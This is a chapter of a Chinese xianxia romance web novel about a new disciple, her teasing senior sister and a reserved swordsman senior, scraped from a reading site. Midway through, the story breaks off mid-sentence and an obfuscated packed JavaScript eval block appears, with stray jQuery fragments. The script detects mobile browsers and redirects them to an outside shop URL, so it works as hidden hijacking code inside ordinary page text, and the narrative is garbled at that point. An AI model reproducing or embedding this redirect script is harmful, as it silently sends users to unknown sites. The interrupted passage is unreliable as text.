文趣网 > 其他小说 > 我和师兄才不是一对 > 2. 以后别扔了
    荀杳在树洞里蹲了半个时辰。准确地说,她静心养气法念了七遍,把穿越的经历复盘了四遍。第五遍复盘,洞口的光被挡住了。

    池晚捧着一碗热气腾腾的粥。

    “师妹,饿了吧?”

    荀杳往树洞缩了缩:“师姐,你怎么找到我的?”

    “哦,你鞋上的印子从灵田一路拖到竹林,我闭着眼都能找到。”池晚把碗往她这递了递,“灵米粥,加了蜂蜜和灵枣。你跑了那么远肯定累坏了。”

    荀杳盯着那碗粥,米香味勾得她肚子咕咕叫。

    她犹豫了三秒,“谢谢师姐。”

    “不客气不客气!”池晚一屁股坐在洞口掏出小本本:“你慢慢吃,我记点东西,不影响你。”

    荀杳把勺子在粥里搅了搅:“师姐要记什么?”

    “记你刚才接碗的手指碰到我了,眼神交流了几息,说话的语调有没有害羞。”

    “……”

    荀杳低头喝粥。

    池晚笔尖唰唰唰的,嘴里还念念有词:“进食画面。师妹腮帮子鼓起来像仓鼠。可爱度满分。下次建议涧禾师兄亲自投喂。”

    荀杳呛了一口:“师姐,我和他真没关系。”

    “嗯嗯嗯,没关系没关系。”池晚头都不抬,“你说没关系的样子特别好看,我再记一条。”

    荀杳认真地看着池晚:“师姐,我跟你说实话。我今天刚入宗,以前没见过涧禾师兄,今天是第一次。那把草是我手滑了,他没生气我已经谢天谢地了,你们说的定情信物真的想多了。”

    池晚停下笔抬头看她。那双眼睛亮晶晶的,带审视猎物的精光。她看了荀杳五秒钟,“师妹,你知不知道涧禾师兄那招‘万里送归’为什么叫这个名字?”

    荀杳摇头。

    “因为剑意是‘送出去不回头’。”

    池晚竖起一根手指。

    “他创这招的时候说过——剑出一往无前,何须归处。意思是他出这招没打算收。去年兽潮那个同门,被他这一剑甩回宗门大阵后,剑气还往前冲三百丈,劈了一座小山。”

    荀杳愣住:“那他今天……”

    “今天。”池晚凑近她,“他把剑收了。不是收招,还把剑上的东西拿下来放在石头上。你的草团是他第一次接东西主动放下来的。”

    荀杳张了张嘴:“可能是他怕草团掉地上弄脏了剑——”

    “那草团上有泥。”

    池晚一拍大腿,“有泥!他的剑沾了泥!他以前沾了灰都要当场擦三遍的剑,今天沾了泥,他没擦还拿下来放旁边,你知道这代表什么吗?”

    荀杳:“……忘了?”

    “代表你的泥在他的剑上留了那么久,他没觉得脏!”池晚激动得差点把碗打翻,“师妹,你懂吗?一个洁癖剑修让你把泥糊在他的命根子上,他连眉头都没皱一下!”

    荀杳说不出话。

    池晚满意地坐回去,重新执笔:“好了,今天素材够了。你吃,我不打扰你。”

    荀杳的脑子已经没办法冷静了。

    洁癖。剑修。泥。

    那团草里确实全是泥,连根带土一坨甩过去,她都觉得恶心。涧禾拿下来的时候,手掌沾没沾泥?好像沾了,但她没看到他擦手。

    她捂住脸。妈的,池晚说得有道理。

    一碗粥喝完,池晚又从袖子里掏出一摞东西。一身干净的外门弟子衣裳,一双新布鞋,一瓶丹药,还有一张盖章的调令。

    “衣裳和鞋子按你的身量拿的,先换上。”

    池晚把东西一件件摆出来。

    “丹药是补气养元的,你身体虚。调令把你从灵田调到藏经阁,活儿轻,不用风吹日晒。”

    荀杳愣愣地看着那堆东西:“师姐,你为什么帮我?”

    池晚站起来伸了懒腰:“因为我想看你和涧禾师兄修成正果。这叫长期投资。”

    “……”

    “开玩笑的。”池晚的笑容难得收了几分。

    “你一个新人刚来就被全宗围观了,不帮一把说不过去。而且我看你顺眼。”

    荀杳心头一暖想道谢,池晚已经往外走了。

    “明日卯时去藏经阁报到,找管事报我名字就行。”她朝后摆了摆手,“今天先歇着。对了——”

    池晚回头冲她眨了一下眼:“你住的地方,我给你安排了,剑峰山脚那排新修的弟子房——第三间。窗户对着剑峰练剑坪。”

    荀杳:“……师姐!”

    池晚的笑声在林子里回荡。

    荀杳抱着那摞东西,脸埋在衣裳里闷半天。她想骂人但嘴角压不住。

    这个师姐实在让人讨厌不起来。

    她从树洞里钻出来,按池晚指的方向找到了那排弟子房。推门进去第三间,里面干净整洁,有一张床一张桌一个柜子,窗子朝北推开,正对着剑峰的方向。

    山顶隐约有人影在动,白衣一闪一闪的。

    荀杳啪地把窗子关上了。

    她换好新衣裳在床上躺下。

    累了一天,身体早就撑不住了。

    闭眼前,她脑子里最后一个念头是:明天去藏经阁躲远点,低调过日子。

    卯时,荀杳在藏经阁管事面前站了不到一刻钟又觉得自己完蛋了。

    管事留着山羊胡,一脸刻板的中年男人,他拿着戒尺挨个给新来的弟子分活。轮到荀杳,他低头看了一眼名册。

    “荀杳,池晚师姐推荐来的?”

    “是。”

    “嗯。”管事合上名册,“你去顶层,负责整理古籍架。”

    荀杳松了口气。顶层人少清静。完美。

    她抱着一摞除尘符和修复卷,顺着楼梯爬上藏经阁顶层。阳光从四面窗子涌进来,照得整层书阁亮堂堂的。

    她环顾了一圈僵住了。

    顶层靠窗的位置,有人背门而座。

    白衣黑发。

    他手边摊开的一摞剑谱。

    荀杳抱着除尘符脑子里飞速运转。他为什么会在这儿?顶层不是杂役干活的地方吗?等等——她扫了一眼书架,上面全是高阶剑诀和功法玉简。顶层是内门弟子专用阅览区。

    她思考着要不要悄悄退回去,涧禾已经听见了动静。

    灰色的眼睛在她脸上停了一瞬。

    荀杳:“……”

    涧禾:“……嗯。”

    然后他转回去看书。

    荀杳站在门口进退两难。走?管事说了让她整理顶层,走了就是怠工。留?涧禾在。

    她说服自己“普通师兄妹、普通师兄妹、他只是个普通师兄”,然后低头除尘。

    她先从离他最远的书架开始。一张一张贴除尘符,把积灰的玉简取出来用修复卷擦拭,再放回去。动作极轻,尽量不发出声音。

    顶层安静得只剩她的呼吸。

    她贴到第三个书架,涧禾翻了一页。他低着头,侧脸的睫毛很长,指腹有一层薄茧。

    荀杳的脸有点热。

    不行。工作。专注。

    她又贴了两张除尘符,然后发现一个问题——书架最上面那层她够不着。她垫了两次脚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761284|209600||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还差半寸。储物袋里有梯子符,但她一时懒得掏。

    她犹豫拿梯子符还是原地蹦一下,忽然响起椅子挪动的声音。涧禾走到她旁边,伸手把她够不着的玉简取下来给她。

    荀杳愣了三秒才接过来:“……谢谢师兄。”

    涧禾:“嗯。”

    他看着她把那块玉简擦干净放回去。

    荀杳努力控制住手抖,把玉简塞回原位,然后扯出专业的微笑:“师兄还有事?”

    涧禾那双灰色的眼睛里什么情绪都读不出来。

    “你的草。”

    “……什么?”

    “昨天的。”涧禾说,“我用剑接的那个——”他比划了一下,“……草。”

    “草……草怎么了?”

    荀杳发誓看到他耳朵尖红了一点点。

    “以后别扔了。”

    荀杳攥着除尘符,大脑过载。

    以后别扔了?什么以后别扔了?别扔什么?别扔草?意思是别再朝他扔东西了?还是——她猛地摇头。想多了想多了想多了,他就是字面的意思,别朝他扔垃圾。

    她深呼吸三次继续干活。

    风从窗外灌进来,阳光在两人之间移动。

    荀杳收拾完最后一个书架,已经日头偏西了。她揉了揉发酸的肩膀,把工具收进储物袋,朝门口走去。经过涧禾的桌子,她还是没敢看他。

    门关上的一刹那,涧禾从书页里抬起头。

    他望着那扇关上的门,又低头看了看自己的剑——剑柄上缠着的那段旧绳不知什么时候松了,他解开绳子重新缠。缠了一圈停下来,又从翻出一根新的青绳,和旧的并一起缠回去。

    青色的。跟昨天草团上的一截草茎颜色一样。

    他缠完把剑放回桌上。表情依旧是那个表情,但他翻到的那一页,从下午到黄昏就没动过。

    荀杳不知道这些。她正在山脚的食堂里埋头扒饭,对面的小胖子嘬着灵茶看她。

    “藏经阁咋样?”

    “挺好的,清净。”

    “碰到谁了没?”

    荀杳筷子停了一下:“……谁?”

    小胖子嘿嘿笑:“涧禾师兄每周三都去顶层看剑谱,今天正好周三。”

    荀杳放下碗:“你怎么不早说?”

    “你也没问啊。”小胖子一脸无辜,“再说你们昨天都那样了,今天见见怎么了。我听说他还跟你说话了?”

    荀杳捂住脸:“就说了四个字。”

    “四个字?”小胖子的灵茶一口喷出来,“他一个月跟别人说不了百字。四个字你什么待遇了!”

    荀杳把脸埋在手掌里没起来。

    食堂里陆续有人朝这边看,窃窃私语。她隐约听到几个关键词:“涧禾师兄”、“藏经阁”、“四目相对”。

    她站起来:“我回去睡觉了。”

    小胖子挥手:“明天见啊弟妹。”

    “不是弟妹!!”

    荀杳一路冲回弟子房,推门进去反手闩上,扑到床上把被子蒙过头顶。被子里闷闷的,她蜷在里面一动不动。

    窗子外面正对着剑峰,涧禾应该还在藏经阁。她想起他说:“以后别扔了”的时候,耳尖的红色,她猛地坐起来。

    “荀杳,清醒点!他是你师兄,你们没关系,全宗门都在嗑幻觉,你嗑CP嗑的命还在你坟头挂着呢——”

    她又倒了回去。

    暮色沉沉,剑峰上的涧禾朝山脚弟子房看了一眼。第三间的窗户关着,里面透出烛光。

    他转身进了洞府。